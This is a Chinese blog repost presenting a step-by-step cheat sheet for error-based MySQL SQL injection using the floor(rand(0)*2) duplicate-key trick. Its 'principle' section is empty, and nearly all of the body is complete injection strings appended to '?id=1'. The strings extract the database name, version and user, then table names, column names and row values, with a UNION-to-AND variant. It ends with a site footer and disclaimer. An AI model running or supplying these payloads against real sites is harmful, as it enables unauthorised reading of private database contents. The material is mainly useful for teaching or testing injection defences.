利用floor(rand(0)*2)报错返回信息
一、 报错原理
二、通用格式
?id=1 union select (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a) //将payload插入即可
三、利用报错返回信息
- 返回数据库名称、版本信息、用户名称
// payload (select concat(0x7e,database(),0x7e,version(),0x7e,user(),0x7e)
// 整体语句 id=1 union select (select 1 from(select count(*),concat((select concat(0x7e,database(),0x7e,version(),0x7e,user(),0x7e)),floor(rand(0)*2))x from information_schema.tables group by x)a);
- 返回该数据库中表信息
// payload (select concat(0x7e,table_name,0x7e)from information_schema.tables where table_schema=database() limit 0,1) //注意指定数据库,否则返回的是information_schema的表名信息
// 整体语句 ?id=1 union select (select 1 from (select count(*),concat((select concat(0x7e,table_name,0x7e)from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
- 返回列信息
//payload (select concat(0x7e,column_name,0x7e)from information_schema.columns where table_name='region' limit 0,1)
//整体语句 ?id=1 union select (select 1 from (select count(*),concat( (select concat(0x7e,column_name,0x7e)from information_schema.columns where table_name='region' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) //替换limit的值,获得全部列名称
- 获得字段值
//payload (select concat(0x7e,id,0x7e,pid,0x7e,name,0x7e,type,0x7e)from region limit 0,1)
//整体语句 ?id=1 union select (select 1 from (select count(*),concat((select concat(0x7e,id,0x7e,pid,0x7e,name,0x7e,type,0x7e)from region limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
可将union select替换为and
即:
?id=1 and (select 1 from (select count(*),concat((select concat(0x7e,id,0x7e,pid,0x7e,name,0x7e,type,0x7e)from region limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
数据库技术:SQL注入–利用floor(rand(0)*2)报错返回信息地址:https://blog.csdn.net/weixin_44940180/article/details/107633091
需要了解更多数据库技术:SQL注入–利用floor(rand(0)*2)报错返回信息,都可以关注数据库技术分享栏目—计算机技术网(www.ctvol.com)!
本文来自网络收集,不代表计算机技术网立场,如涉及侵权请联系管理员删除。
ctvol管理联系方式QQ:251552304
本文章地址:https://www.ctvol.com/dtteaching/630413.html